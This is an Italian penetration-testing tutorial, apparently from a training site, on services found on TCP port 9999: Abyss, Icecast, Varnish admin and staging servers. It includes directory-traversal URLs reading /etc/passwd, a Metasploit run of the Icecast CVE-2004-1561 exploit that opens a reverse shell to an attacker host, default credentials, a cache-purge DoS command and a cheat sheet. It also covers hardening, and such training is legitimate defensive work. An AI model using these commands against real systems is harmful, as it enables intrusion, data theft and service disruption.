Porta 9999 Pentest: Abyss, Icecast CVE-2004-1561 e Dev Server

Porta 9999: Abyss Web Server directory traversal e admin bypass, Icecast buffer overflow RCE CVE-2004-1561, Varnish admin esposto, staging server senza protezioni e backdoor detection.
- Pubblicato il 2026-04-18
- Tempo di lettura: 4 min
La porta 9999 TCP è una di quelle porte “psicologiche”: facile da ricordare, fuori dal range delle porte note, perfetta per un test rapido. Ed è esattamente così che viene usata — come porta temporanea per servizi di sviluppo, debug, admin panel e qualsiasi cosa lo sviluppatore volesse tenere “separata”. I servizi più comuni sulla 9999 sono: Abyss Web Server (un web server leggero per Windows), Icecast (server di streaming audio), Varnish admin (cache HTTP), applicazioni di test/staging, e — il caso più preoccupante — backdoor e trojan che usano la 9999 proprio perché è una porta “innocua” non monitorata.
Nel penetration testing, la 9999 è una porta da testare sempre quando fai una scansione completa. Non è tra le top 1000 di Nmap (quindi lo scan veloce la salta), ma nasconde sorprese. Un’applicazione di staging sulla 9999 spesso è una copia dell’applicazione di produzione con: credenziali di default, debug mode attivo, dati reali e nessuna protezione.
1. Identificare il Servizio #
# La 9999 non è nelle top 1000 — specificala
nmap -sV -p 9999 10.10.10.40curl -s http://10.10.10.40:9999/ -I
curl -s http://10.10.10.40:9999/ | head -80| Indicatore | Servizio | Prossimo step |
|---|---|---|
Server: Abyss | Abyss Web Server | Default creds + CVE |
Server: Icecast | Icecast | CVE-2004-1561 buffer overflow |
HTML con “Varnish” o Via: varnish | Varnish Cache admin | Configurazione backend |
| JSON API o HTML generico | App di sviluppo/staging | Tratta come porta 8000 |
Server: Python, Werkzeug, Express | Dev server | Debug mode, credenziali |
| Connessione binaria/sconosciuta | Possibile backdoor | Analisi traffico |
| HTML con “AAAA” o pagina di test | App in sviluppo | Directory brute + parametri |
2. Abyss Web Server #
Abyss è un web server gratuito e compatto, popolare su Windows per hosting locale, server web personali e ambienti di test. Sviluppato da Aprelium, supporta PHP, Perl, CGI.
Enumerazione #
curl -s http://10.10.10.40:9999/ -IServer: Abyss/2.16.0.2-X2Console di amministrazione #
Abyss ha una console web di gestione, tipicamente sulla stessa porta o sulla porta 9999 con path /admin/:
curl -s http://10.10.10.40:9999/admin/ -IDefault credentials #
| Username | Password | Note |
|---|---|---|
| (nessuno) | (nessuna) | Nessuna password di default — spesso non configurata |
admin | admin | Se configurato |
admin | (vuota) | Setup rapido |
Se la console admin è accessibile senza password → configurazione del web server esposta (path dei file, CGI config, virtual host).
CVE Abyss #
searchsploit abyssAbyss Web Server 1.x - Directory Traversal
Abyss Web Server 2.x - Denial of Service
Abyss Web Server - HTTP Request SmugglingDirectory traversal:
curl -s "http://10.10.10.40:9999/..%5c..%5c..%5c..%5c/windows/system32/drivers/etc/hosts"
curl -s "http://10.10.10.40:9999/..%2f..%2f..%2f..%2f/etc/passwd"3. Icecast — Streaming Audio Server #
Icecast è il server di streaming audio open source più usato — alimenta web radio e podcast live. Se lo trovi sulla 9999 (porta alternativa; la default è 8000):
Enumerazione #
curl -s http://10.10.10.40:9999/ -IServer: Icecast 2.4.0CVE-2004-1561 — Buffer Overflow RCE #
Il CVE classico di Icecast — un buffer overflow nell’header HTTP che dà RCE:
# Metasploit
use exploit/windows/http/icecast_header
set RHOSTS 10.10.10.40
set RPORT 9999
set LHOST 10.10.10.200
run[*] Started reverse TCP handler on 10.10.10.200:4444
[*] Sending request...
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: ICECAST\adminQuesta è la macchina Icecast di HackTheBox — un classico della formazione OSCP. L’exploit è vecchio (2004) ma Icecast non viene aggiornato spesso.
Default credentials Icecast #
# Admin panel
curl -s -u admin:hackme http://10.10.10.40:9999/admin/
curl -s -u source:hackme http://10.10.10.40:9999/admin/| Username | Password | Funzione |
|---|---|---|
admin | hackme | Admin panel (default) |
source | hackme | Source client |
4. Varnish Cache Admin #
Varnish è un acceleratore HTTP (reverse proxy cache). L’interfaccia admin ascolta spesso sulla 9999 (o 6082).
# Varnish CLI
varnishadm -T 10.10.10.40:9999Se non richiede secret (autenticazione):
# Mostra configurazione backend (server dietro la cache)
varnishadm -T 10.10.10.40:9999 backend.listBackend name Admin Probe Health
boot.default probe 5/5 healthy
webapp probe 5/5 healthy# Mostra la VCL (Varnish Configuration Language) — rivela backend con IP e porte
varnishadm -T 10.10.10.40:9999 vcl.show -v bootbackend webapp {
.host = "10.10.10.50";
.port = "8080";
}IP e porta del server applicativo interno → nuovo target.
# Purga la cache (DoS/disruption)
varnishadm -T 10.10.10.40:9999 "ban req.url ~ ."5. Servizi di Sviluppo e Staging #
Se sulla 9999 trovi un’applicazione web generica → è quasi certamente un ambiente di sviluppo o staging. Trattala come la porta 8000 con priorità extra perché:
- Debug mode probabilmente attivo (Django
DEBUG=True, Flask/console, PHPdisplay_errors) - Credenziali di default non cambiate
- Dati reali copiati dalla produzione per i test
- Nessun WAF, rate limiting o monitoring
# Verifica debug mode
curl -s http://10.10.10.40:9999/nonexistent_page_xyz # Django debug
curl -s http://10.10.10.40:9999/console # Flask Werkzeug
curl -s http://10.10.10.40:9999/.env # Environment variables
curl -s http://10.10.10.40:9999/phpinfo.php # PHP info
# Directory brute
gobuster dir -u http://10.10.10.40:9999 -w /usr/share/wordlists/dirb/common.txt -x php,py,js,html,json -t 306. Backdoor Detection #
La porta 9999 è usata da diversi trojan e backdoor storiche:
| Malware | Porta | Note |
|---|---|---|
| Backdoor.Optix | 9999 | RAT Windows |
| NetBus Pro | 9999 | RAT classico anni 2000 |
| Various RAT | 9999 | Porta generica per C2 custom |
Se la 9999 è aperta e non corrisponde a nessun servizio noto:
# Cattura il banner
nc -nv 10.10.10.40 9999
# Invia dati e osserva la risposta
echo "HELP" | nc -w 3 10.10.10.40 9999
echo "VERSION" | nc -w 3 10.10.10.40 9999Se il servizio risponde con prompt sconosciuti o accetta comandi → possibile backdoor. Questo è un finding critico: la macchina potrebbe essere già compromessa da qualcun altro.
7. Detection & Hardening #
- Chiudi le porte di sviluppo — se il servizio non serve in produzione, la porta va chiusa
- Non usare 9999 come “porta di test” — se devi testare, usa localhost
- Firewall — la 9999 non deve essere raggiungibile dall’esterno
- Monitora porte non standard con scansioni periodiche
- Se è Icecast: aggiorna (il CVE del 2004 è ancora sfruttabile)
- Se è Varnish: configura il secret per l’admin CLI
- Se è un RAT: isola la macchina, incident response
8. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 9999 target |
| Banner | curl -s http://target:9999/ -I |
| Netcat | nc -nv target 9999 |
| Abyss | |
| Admin | curl http://target:9999/admin/ |
| Dir traversal | curl "http://target:9999/..%5c..%5c..%5c/etc/passwd" |
| Icecast | |
| MSF exploit | use exploit/windows/http/icecast_header |
| Default creds | admin:hackme |
| Varnish | |
| CLI | varnishadm -T target:9999 |
| Backends | backend.list + vcl.show -v boot |
| Dev/staging | |
| Debug | curl http://target:9999/console o /nonexistent/ |
| .env | curl http://target:9999/.env |
| Gobuster | gobuster dir -u http://target:9999 -w wordlist |
| Searchsploit | searchsploit abyss icecast |
Riferimento: Abyss Web Server docs, CVE-2004-1561, Varnish admin docs, HackTricks. Uso esclusivo in ambienti autorizzati.
La tua rete ha porte non standard aperte che non conosci? Il penetration test HackIta scansiona tutto — non solo le porte note. Per diventare un pentester completo: formazione 1:1 su misura.







